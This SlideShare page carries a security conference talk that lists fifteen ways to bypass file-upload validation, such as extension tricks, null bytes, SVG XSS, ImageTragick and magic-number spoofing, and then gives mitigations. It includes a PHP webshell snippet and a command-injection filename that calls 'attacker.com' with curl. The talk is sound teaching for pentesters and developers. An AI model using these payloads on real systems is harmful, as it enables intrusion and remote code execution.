SlideShare a Scribd company logo
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
Ebrahim Hegazy
15 Technique to Exploit File Upload Pages
Senior Consultant @ Deloitte
About me
Security Guy!
About me
Top Yahoo Security Researcher
Agenda
• Target of the session
• How file upload pages works?
• Bypassing Developers validation of:
– Filename only (Whitelist)
– Filename only (Blacklist)
– File Type only
– File Contents only
– Filename and File-type
– File type and File-contents
– Filename, File-type and File content
– Exploiting Server Side Libraries
– Forcing the files to be downloadable not executable
– Exploitation of other common developers mistakes
• Conclusion
Target of the Session
The main target of this session is:
• Gathering all techniques in one place to aid penetration testers and bug hunters during their assessments.
• Helping developers understand how hackers bypass their validations in order to better protect their Apps.
Teaser!
File upload pages and its main headers
For every file upload page, there are some headers that always exist. Lets name it main
headers.
The main headers are:
• File Name
• File Type
• Magic Number
• File Content
• File Size
Bypassing Developers Validation
Scenarios:
In the coming slides, we will go through different scenarios of how developers validates the uploaded
files and how Pentesters can bypass it.
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
Scenario 1 (BlackList)
Blacklisting Dangerous files?
The developer validates that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via
black-listing technique.
Bypass:
Above Regex is vulnerable as it doesn‟t check the case insensitivity of file extension.
Mitigation:
^.*.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i
Scenario 2 (Apache-Linux)
Properly Blacklisting .php files
The developer properly validate that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc
via black-listing technique.
How to bypass:
We can bypass this validation using the .pht files. The PHT file stores HTML page that includes a
PHP script.
Scenario 2 (IIS-Windows)
On windows servers, if the same validation is done for asp pages, we can bypass it using .cer & .asa
extensions. IIS <= 7.5 have Both *.asp and *.cer mapped to asp.dll, thus executing ASP code.
Scenario 3 (BlackList)
Bypassing all executabel extensions?
In this scenario the developer is black-listing all dangerous extensions that would allow code
execution. But how about using .eml to trigger a Stored XSS?
Source: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
Scenario 4
Validating Filename only (Whitelist):
In this scenario, the developer is validating the filename ONLY by Whitelisting .jpg via server-side code, using below Regex
Scenario 4
Validating Filename only (Whitelist):
The regex is NOT properly implemented. It validates that the filename contains .jpg but doesn‟t validate that the filename
ends with .jpg
Moreover on While-listing:
^.*(jpg|gif|png)$i
Regex doesn‟t contain Dot, means it only makes sure that file ends with allowed filenames:
File.php.jkha11111jpg
Scenario 5
Null Byte Injection
The null character is a control character with the value zero. PHP treats the Null Bytes %00 as a terminator (same as C
does). Thus, renaming your file to be shell.php%001.jpg or shell.phpx00.jpg shall satisfy the file upload page because
the file ends with .jpg, but the file will be treated as .php due to termination of whatever after the Null Byte.
Note: renaming the file to shell.phpD.jpg, upload it and then replace the hex represntaion of D with 00 will
also work.
Scenario 6
If the application allows upload of .svg images
SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance a Stored XSS as below.
Scenario 7
Allowing video uploads?
Due to a SSRF vulnerability in ffmpeg library, it is possible to create a video file that when uploaded to any
application that supports video files (i.e Youtube, vk, Flicker etc) you will be able to read files from that
server when you try to watch the video!
Command: ffmpeg -i video.avi{m3u} video.mp4 - https://github.com/neex/ffmpeg-avi-m3u-xbin/
Scenario 8
Directory Traversal
You can upload your file with the name of “../../../logo.jpg” for example to replace the main website logo. This issue happens
due to lack of validating the filename.
Scenario 9
Validating the file content and missing the file-name.
Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t
contain meta-data, however, not validating the uploaded file name.
How to bypass:
• We get a normal image, convert it using the php-gd library
• Now we have 2 files, we convert it to hex and start searching for identical bytes
• When finding the identical bytes, we replace those bytes with out backdoor code (i.e.
<?system($GET[„x‟]);?>)
Scenario 9 POC
Validating the file content and missing the file-name.
Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image
and doesn‟t contain meta-data, however, not validating the uploaded file name.
https://secgeek.net/bookfresh-vulnerability/
Scenario 10
Image Tragic Attack
SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance ImageMagic which is an
image processing library vulnerable to SSRF and RCE vulnerabilities.
Source (Facebook RCE): http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
Scenario 11
Exploiting old IIS servers
IIS in its earlier versions < 7.0 had an issue handling the uploaded files. An attacker can bypass the file upload pages using
filename as: shell.aspx;1.jpg
Scenario 12
DOS Attack
Web applications that doesn‟t validate the file-size of the uploaded files are vulnerable to DOS attack as an attacker can
upload many large files which will exhaust the server hosting space.
Scenario 13
Magic Numbers
Developers validates the file-contents starts with Magic Numbers and the file-content is set to image/gif.
Exploit:
Uploading shell.php but setting the content type to image/gif and starting the file contants with GIF89a; will do the job!
RCE via zip files
Developers accepts zip file, but handle filenames via command line.
Exploit:
Filename;curl attacker.com;pwd.jpg
Scenario 14
OOB SQL Injection via filename:
If the developers are trusting the filenames and pass it directly to the Database, this will allow attackers to execute Out of
Band SQL Injection. A good scenario would be companies asking you to submit your CV without validating the CV name.
Scenario 15
Cross Domain Content Hijacking
When developers are validating the uploaded filename, content-type but missing to validate the uploaded file content. It is
possible to upload a Flash file with .jpg extension, then call that flash file with <object tags in your website and Bingo, you
are able to do Cross Origin Requests to steal CSRF tokens.
How browsers see it?
1. Plugins like Flash doesn't care about the extension or content-type
2. If the file is embeded using <object> tag, it will be executed as a Flash file as long as the file content looks
like Flash.
https://github.com/nccgroup/CrossSiteContentHijacking
Conclusion
Suggested techniques of better handling the file-upload pages
• Always use a sandbox domain to store uploaded files
• Use CDN servers as it only allows cacheable resources and disable executable files such as php
• Rename the uploaded files to some random filenames, remove the file extension and then append your
allowed file extension.
• Mark all files as downloadable not executable (Content-Deposition)
• Validate the file-size.
Stay in Touch!
Twitter: Zigoo0
Email: Ehegazy@deloitte.nl
Site: www.Sec-Down.com
Деякі випадкові
слова, щоб інші
думали, що я володію
українською мовою!
Ale ya ne volodiyu :D

More Related Content

PPTX
Attacking thru HTTP Host header
PDF
A Hacker's perspective on AEM applications security
PPT
Bypass file upload restrictions
PPTX
File upload vulnerabilities & mitigation
PPTX
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
PPTX
Command injection
PDF
XSS Magic tricks
PDF
Secure coding presentation Oct 3 2020
Attacking thru HTTP Host header
A Hacker's perspective on AEM applications security
Bypass file upload restrictions
File upload vulnerabilities & mitigation
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
Command injection
XSS Magic tricks
Secure coding presentation Oct 3 2020

What's hot (20)

PPTX
Directory Traversal & File Inclusion Attacks
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
Spring Security
PPTX
A Forgotten HTTP Invisibility Cloak
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PDF
Unrestricted file upload
PDF
Hacking Adobe Experience Manager sites
PPTX
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
PDF
Frans Rosén Keynote at BSides Ahmedabad
PDF
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
PDF
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
PDF
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
PDF
ORM2Pwn: Exploiting injections in Hibernate ORM
PPTX
Security Code Review 101
PDF
Building Advanced XSS Vectors
PDF
Pentesting GraphQL Applications
PDF
OWASP Top 10 Web Application Vulnerabilities
Directory Traversal & File Inclusion Attacks
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Spring Security
A Forgotten HTTP Invisibility Cloak
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Unrestricted file upload
Hacking Adobe Experience Manager sites
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Frans Rosén Keynote at BSides Ahmedabad
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
ORM2Pwn: Exploiting injections in Hibernate ORM
Security Code Review 101
Building Advanced XSS Vectors
Pentesting GraphQL Applications
OWASP Top 10 Web Application Vulnerabilities
Ad

Similar to "15 Technique to Exploit File Upload Pages", Ebrahim Hegazy (20)

PPTX
Slides of ARPCON (File upload vulnerability by Raju Kumar)
PDF
File upload.pdf
PPTX
File uploads
PDF
Session9-File Upload Security
ODP
How secure is your code?
PDF
Php File Upload
PPTX
Web-App Remote Code Execution Via Scripting Engines
PDF
CNIT 129S: 10: Attacking Back-End Components
PPTX
Hacking Wordpress Plugins
PPTX
CodeIgniter i18n Security Flaw
PPTX
Secure PHP Coding - Part 1
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
PPTX
Security hole #5 application security science or quality assurance
PPTX
Secure programming with php
PDF
Php Security
PDF
Intro to Php Security
PDF
Php vulnerability presentation
PDF
Ch 10: Attacking Back-End Components
PDF
Ch 13: Attacking Other Users: Other Techniques (Part 1)
PDF
Secure PHP Coding
Slides of ARPCON (File upload vulnerability by Raju Kumar)
File upload.pdf
File uploads
Session9-File Upload Security
How secure is your code?
Php File Upload
Web-App Remote Code Execution Via Scripting Engines
CNIT 129S: 10: Attacking Back-End Components
Hacking Wordpress Plugins
CodeIgniter i18n Security Flaw
Secure PHP Coding - Part 1
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Security hole #5 application security science or quality assurance
Secure programming with php
Php Security
Intro to Php Security
Php vulnerability presentation
Ch 10: Attacking Back-End Components
Ch 13: Attacking Other Users: Other Techniques (Part 1)
Secure PHP Coding
Ad

More from HackIT Ukraine (20)

PPTX
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
PPTX
"В поисках уязвимостей мобильных приложений", Алексей Голубев
PPTX
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
PDF
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
PDF
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
PDF
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
PPTX
"Как ловят хакеров в Украине", Дмитрий Гадомский
PPTX
"Security Requirements Engineering", Oleksii Baranovskyi
PDF
"Наступну атаку можна попередити", Олександр Чубарук
PPTX
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
PPTX
"How to make money with Hacken?", Dmytro Budorin
PPTX
"Using cryptolockers as a cyber weapon", Alexander Adamov
PPTX
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
PPTX
"Bypassing two factor authentication", Shahmeer Amir
PPTX
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
PPTX
"Introduction to Bug Hunting", Yasser Ali
PDF
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
PDF
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
PDF
Владимир Махитко - Automotive security. New challenges
PDF
Алексей Старов - Как проводить киберраследования?
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"В поисках уязвимостей мобильных приложений", Алексей Голубев
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Как ловят хакеров в Украине", Дмитрий Гадомский
"Security Requirements Engineering", Oleksii Baranovskyi
"Наступну атаку можна попередити", Олександр Чубарук
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"How to make money with Hacken?", Dmytro Budorin
"Using cryptolockers as a cyber weapon", Alexander Adamov
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Bypassing two factor authentication", Shahmeer Amir
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Introduction to Bug Hunting", Yasser Ali
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Владимир Махитко - Automotive security. New challenges
Алексей Старов - Как проводить киберраследования?

Recently uploaded (20)

PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PPTX
Cloud computing and distributed systems.
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
DOCX
The AUB Centre for AI in Media Proposal.docx
PPTX
Big Data Technologies - Introduction.pptx
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
KodekX | Application Modernization Development
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Approach and Philosophy of On baking technology
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Cloud computing and distributed systems.
Per capita expenditure prediction using model stacking based on satellite ima...
The AUB Centre for AI in Media Proposal.docx
Big Data Technologies - Introduction.pptx
Dropbox Q2 2025 Financial Results & Investor Presentation
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
KodekX | Application Modernization Development
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Building Integrated photovoltaic BIPV_UPV.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Network Security Unit 5.pdf for BCA BBA.
The Rise and Fall of 3GPP – Time for a Sabbatical?
Spectral efficient network and resource selection model in 5G networks
Approach and Philosophy of On baking technology
NewMind AI Monthly Chronicles - July 2025
Encapsulation_ Review paper, used for researhc scholars
Mobile App Security Testing_ A Comprehensive Guide.pdf

"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy

  • 2. Ebrahim Hegazy 15 Technique to Exploit File Upload Pages Senior Consultant @ Deloitte
  • 4. About me Top Yahoo Security Researcher
  • 5. Agenda • Target of the session • How file upload pages works? • Bypassing Developers validation of: – Filename only (Whitelist) – Filename only (Blacklist) – File Type only – File Contents only – Filename and File-type – File type and File-contents – Filename, File-type and File content – Exploiting Server Side Libraries – Forcing the files to be downloadable not executable – Exploitation of other common developers mistakes • Conclusion
  • 6. Target of the Session The main target of this session is: • Gathering all techniques in one place to aid penetration testers and bug hunters during their assessments. • Helping developers understand how hackers bypass their validations in order to better protect their Apps.
  • 8. File upload pages and its main headers For every file upload page, there are some headers that always exist. Lets name it main headers. The main headers are: • File Name • File Type • Magic Number • File Content • File Size
  • 9. Bypassing Developers Validation Scenarios: In the coming slides, we will go through different scenarios of how developers validates the uploaded files and how Pentesters can bypass it.
  • 11. Scenario 1 (BlackList) Blacklisting Dangerous files? The developer validates that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via black-listing technique. Bypass: Above Regex is vulnerable as it doesn‟t check the case insensitivity of file extension. Mitigation: ^.*.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i
  • 12. Scenario 2 (Apache-Linux) Properly Blacklisting .php files The developer properly validate that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via black-listing technique. How to bypass: We can bypass this validation using the .pht files. The PHT file stores HTML page that includes a PHP script.
  • 13. Scenario 2 (IIS-Windows) On windows servers, if the same validation is done for asp pages, we can bypass it using .cer & .asa extensions. IIS <= 7.5 have Both *.asp and *.cer mapped to asp.dll, thus executing ASP code.
  • 14. Scenario 3 (BlackList) Bypassing all executabel extensions? In this scenario the developer is black-listing all dangerous extensions that would allow code execution. But how about using .eml to trigger a Stored XSS? Source: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
  • 16. Scenario 4 Validating Filename only (Whitelist): In this scenario, the developer is validating the filename ONLY by Whitelisting .jpg via server-side code, using below Regex
  • 17. Scenario 4 Validating Filename only (Whitelist): The regex is NOT properly implemented. It validates that the filename contains .jpg but doesn‟t validate that the filename ends with .jpg Moreover on While-listing: ^.*(jpg|gif|png)$i Regex doesn‟t contain Dot, means it only makes sure that file ends with allowed filenames: File.php.jkha11111jpg
  • 18. Scenario 5 Null Byte Injection The null character is a control character with the value zero. PHP treats the Null Bytes %00 as a terminator (same as C does). Thus, renaming your file to be shell.php%001.jpg or shell.phpx00.jpg shall satisfy the file upload page because the file ends with .jpg, but the file will be treated as .php due to termination of whatever after the Null Byte. Note: renaming the file to shell.phpD.jpg, upload it and then replace the hex represntaion of D with 00 will also work.
  • 19. Scenario 6 If the application allows upload of .svg images SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance a Stored XSS as below.
  • 20. Scenario 7 Allowing video uploads? Due to a SSRF vulnerability in ffmpeg library, it is possible to create a video file that when uploaded to any application that supports video files (i.e Youtube, vk, Flicker etc) you will be able to read files from that server when you try to watch the video! Command: ffmpeg -i video.avi{m3u} video.mp4 - https://github.com/neex/ffmpeg-avi-m3u-xbin/
  • 21. Scenario 8 Directory Traversal You can upload your file with the name of “../../../logo.jpg” for example to replace the main website logo. This issue happens due to lack of validating the filename.
  • 22. Scenario 9 Validating the file content and missing the file-name. Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t contain meta-data, however, not validating the uploaded file name. How to bypass: • We get a normal image, convert it using the php-gd library • Now we have 2 files, we convert it to hex and start searching for identical bytes • When finding the identical bytes, we replace those bytes with out backdoor code (i.e. <?system($GET[„x‟]);?>)
  • 23. Scenario 9 POC Validating the file content and missing the file-name. Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t contain meta-data, however, not validating the uploaded file name. https://secgeek.net/bookfresh-vulnerability/
  • 24. Scenario 10 Image Tragic Attack SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance ImageMagic which is an image processing library vulnerable to SSRF and RCE vulnerabilities. Source (Facebook RCE): http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
  • 25. Scenario 11 Exploiting old IIS servers IIS in its earlier versions < 7.0 had an issue handling the uploaded files. An attacker can bypass the file upload pages using filename as: shell.aspx;1.jpg
  • 26. Scenario 12 DOS Attack Web applications that doesn‟t validate the file-size of the uploaded files are vulnerable to DOS attack as an attacker can upload many large files which will exhaust the server hosting space.
  • 27. Scenario 13 Magic Numbers Developers validates the file-contents starts with Magic Numbers and the file-content is set to image/gif. Exploit: Uploading shell.php but setting the content type to image/gif and starting the file contants with GIF89a; will do the job! RCE via zip files Developers accepts zip file, but handle filenames via command line. Exploit: Filename;curl attacker.com;pwd.jpg
  • 28. Scenario 14 OOB SQL Injection via filename: If the developers are trusting the filenames and pass it directly to the Database, this will allow attackers to execute Out of Band SQL Injection. A good scenario would be companies asking you to submit your CV without validating the CV name.
  • 29. Scenario 15 Cross Domain Content Hijacking When developers are validating the uploaded filename, content-type but missing to validate the uploaded file content. It is possible to upload a Flash file with .jpg extension, then call that flash file with <object tags in your website and Bingo, you are able to do Cross Origin Requests to steal CSRF tokens. How browsers see it? 1. Plugins like Flash doesn't care about the extension or content-type 2. If the file is embeded using <object> tag, it will be executed as a Flash file as long as the file content looks like Flash. https://github.com/nccgroup/CrossSiteContentHijacking
  • 30. Conclusion Suggested techniques of better handling the file-upload pages • Always use a sandbox domain to store uploaded files • Use CDN servers as it only allows cacheable resources and disable executable files such as php • Rename the uploaded files to some random filenames, remove the file extension and then append your allowed file extension. • Mark all files as downloadable not executable (Content-Deposition) • Validate the file-size.
  • 31. Stay in Touch! Twitter: Zigoo0 Email: Ehegazy@deloitte.nl Site: www.Sec-Down.com Деякі випадкові слова, щоб інші думали, що я володію українською мовою! Ale ya ne volodiyu :D